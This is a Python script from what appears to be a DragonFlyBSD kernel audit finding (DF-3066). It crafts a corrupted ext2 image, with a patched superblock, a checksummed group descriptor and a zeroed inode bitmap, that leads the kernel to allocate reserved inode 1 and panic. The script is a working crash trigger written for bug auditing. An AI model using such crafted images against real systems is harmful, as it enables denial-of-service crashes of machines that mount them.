⬢ DragonFlyBSD Kernel Audit
DF-3066 / craft3066.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""Craft the DF-3066 trigger image.

Same geometry family as DF-3062 but ipg=12 (>= 8, so the buggy memset
gets length 0 and is harmless).  EXT2_BG_INODE_UNINIT is set, and the
ON-DISK inode-bitmap byte 0 is zeroed: the kernel treats uninit bitmap
contents as authoritative, never marks reserved inodes (1..first_ino)
as used, and the scan hands out inode 1.  The dirent for the new file
then points at reserved inode 1; the next lookup -> ext2_vget(1) ->
bread/getblk hits the bgetvp overlapping-buffer panic (observed as
panic.bgetvp-followup.txt during the DF-3062 fixed run).

Usage: craft3066.py <out.img>
"""
import struct, subprocess, sys

SB = 1024

def crc16_tab():
    tab = []
    for i in range(256):
        c = i
        for _ in range(8):
            c = (c >> 1) ^ 0xA001 if c & 1 else c >> 1
        tab.append(c)
    return tab
TAB = crc16_tab()

def crc16(buf, crc):
    for b in buf:
        crc = ((crc >> 8) ^ TAB[(crc ^ b) & 0xff]) & 0xFFFF
    return crc

def gd_csum(uuid, cg, gd):
    crc = crc16(uuid, 0xFFFF)
    crc = crc16(struct.pack('<I', cg), crc)
    crc = crc16(gd[0:30], crc)
    return crc

def main(out):
    subprocess.run(['mke2fs', '-q', '-F', '-t', 'ext2', '-b', '4096',
                    '-I', '1024', '-N', '16', out, '1024'], check=True)
    f = open(out, 'r+b')
    f.seek(SB); sb = bytearray(f.read(1024))

    def p32(o, v): struct.pack_into('<I', sb, o, v)
    def p16(o, v): struct.pack_into('<H', sb, o, v)
    def u32(o): return struct.unpack_from('<I', sb, o)[0]

    bsize = 1024 << u32(0x18)
    uuid  = bytes(sb[0x68:0x78])

    p32(0x10, 12)             # s_free_inodes_count = 12
    p32(0x28, 12)             # s_inodes_per_group = 12 (>= ipb=4; >=8)
    ro = u32(0x64)
    p32(0x64, ro | 0x0010)    # GDT_CSUM

    f.seek(2 * bsize if bsize == 1024 else bsize); gd = bytearray(f.read(32))
    struct.pack_into('<H', gd, 14, 12)          # nifree = 12
    flags = struct.unpack_from('<H', gd, 18)[0]
    struct.pack_into('<H', gd, 18, flags | 1)   # INODE_UNINIT
    struct.pack_into('<H', gd, 28, 0)
    struct.pack_into('<H', gd, 30, gd_csum(uuid, 0, gd))
    gdblk = 2 if bsize == 1024 else 1
    f.seek(gdblk * bsize); f.write(gd)

    ibmp = struct.unpack_from('<I', gd, 4)[0]
    f.seek(ibmp * bsize); bm = bytearray(f.read(bsize))
    bm[0] = 0x00            # inodes 1..8 "free" per garbage uninit bitmap
    f.seek(ibmp * bsize); f.write(bm)

    f.seek(SB); f.write(sb)
    f.close()
    print(f"craft3066: ipg=12 uninit bitmap byte0=0 => ino 1 allocatable")
    print(f"OK wrote {out}")

if __name__ == '__main__':
    main(sys.argv[1])